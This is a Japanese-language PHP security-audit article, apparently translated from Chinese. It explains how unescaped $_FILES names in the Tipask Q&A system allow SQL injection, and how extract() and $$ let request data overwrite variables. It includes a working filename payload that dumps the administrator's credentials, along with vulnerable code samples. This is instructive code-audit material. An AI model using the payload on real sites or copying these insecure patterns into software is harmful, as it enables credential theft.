WEB アプリケーションにおける SQL インジェクションに対する現在の保護は、基本的に GPC が有効かどうかを決定し、addlashes 関数を使用して一重引用符などの特殊文字をエスケープします。しかし、このような保護を使用するだけでは多くの盲点があります。前の記事 http://www.waitalone.cn/php-code-audit-6.html に続いて、他の 2 つの状況を示します。
①FILES インジェクションは、GET、POST などからのパラメーターのみをグローバルにエスケープし、FILES は省略します。
②変数カバレッジ、危険な関数: extract()、parse_str()、$$。
FILES インジェクションは、通常、アップロード時にデータベースに挿入するアップロードされた名前を取り込むことによって発生します。 tipask の質問と回答システムで
まず、そのグローバル保護がどのように処理されるかを見てみましょう:
index.php里:include TIPASK_ROOT . '/model/tipask.class.php';$tipask = new tipask();$tipask->run();... ...跟进到/model/tipask.class.php里:function init_request() {... ... $this->get = taddslashes($this->get, 1); $this->post = taddslashes(array_merge($_GET, $_POST)); checkattack($this->post, 'post'); checkattack($this->get, 'get'); unset($_POST); }
get と post からのデータが特別にエスケープされていることがわかります。処理中、$_FILES には処理操作がありません。 $_FILES をグローバルに検索したところ、/control/attach.php にアップロード処理があることがわかりました。
<?phpfunction onupload() { //上传配置 $config = array( "uploadPath" => "data/attach/", //保存路径 "fileType" => array(".rar", ".doc", ".docx", ".zip", ".pdf", ".txt", ".swf", ".wmv", "xsl"), //文件允许格式 "fileSize" => 10 //文件大小限制,单位MB ); //文件上传状态,当成功时返回SUCCESS,其余值将直接返回对应字符窜 $state = "SUCCESS"; $clientFile = $_FILES["upfile"]; if (!isset($clientFile)) { echo "{'state':'文件大小超出服务器配置!','url':'null','fileType':'null'}"; //请修改php.ini中的upload_max_filesize和post_max_size exit; } //格式验证 $current_type = strtolower(strrchr($clientFile["name"], '.')); if (!in_array($current_type, $config['fileType'])) { $state = "不支持的文件类型!"; } //大小验证 $file_size = 1024 * 1024 * $config['fileSize']; if ($clientFile["size"] > $file_size) { $state = "文件大小超出限制!"; } //保存文件 if ($state == "SUCCESS") { $targetfile = $config['uploadPath'] . gmdate('ym', $this->time) . '/' . random(8) . strrchr($clientFile["name"], '.'); $result = $_ENV['attach']->movetmpfile($clientFile, $targetfile); if (!$result) { $state = "文件保存失败!"; } else { //这里将上传的文件名带入数据库查询 $_ENV['attach']->add($clientFile["name"], $current_type, $clientFile["size"], $targetfile, 0); } } //向浏览器返回数据json数据 echo '{"state":"' . $state . '","url":"' . $targetfile . '","fileType":"' . $current_type . '","original":"' . $clientFile["name"] . '"}';}
次の文が表示されます。 _ENV['attach ']->add($clientFile["name"]...) は $clientFile[name] = $_FILES["upfile"][name] を次の追加操作に組み込み、インジェクションを引き起こします。
<?phpfunction add($filename,$ftype,$fsize,$location,$isimage=1) { $uid=$this->base->user['uid']; $this->db->query("INSERT INTO ".DB_TABLEPRE."attach(time,filename,filetype,filesize,location,isimage,uid) VALUES ({$this->base->time},'$filename','$ftype','$fsize','$location',$isimage,$uid)"); return $this->db->insert_id();}
ファイルをアップロードし、ファイル名を次のコードに変更して管理者アカウントのパスワードを取得します。
filename="1','.php',1,( select concat (username,0x23,password) from ask_user limit 1),2,1)#.jpg"
管理者アカウントのパスワードがデータベースの接続テーブルに正常に挿入されました:
たとえば、extract($_POST) 関数は、POST 配列から変数を直接取り出し、以前の変数の一部を上書きします。
<?php$a=222333;@extract($_POST);print_r($a);
ブラウザのポストでは、a=1 が直接渡され、変数 a の値が正常に上書きされています
現在、Wuyun http の場合を見てください://www.wooyun .org/bugs/wooyun-2014-053189 がカバレッジ テーブルのプレフィックスに表示されます。
原理は実際には上記と同じです。$$ 変数カバレッジには非常に古典的なコードがあります。
<?php$a=22333;foreach(array('_COOKIE','_POST','_GET') as $_request){ foreach($$_request as $_key=>$_value){ $$_key = addslashes($_value); }}echo $a;
テストでは次のことがわかりました。変数 a は正常にカバーされました
ケース: http://www.wooyun.org/bugs/wooyun-2010-055338
元のテキストの転載元: http:/ /www.cnbraid.com/ 2016/05/31/sql7/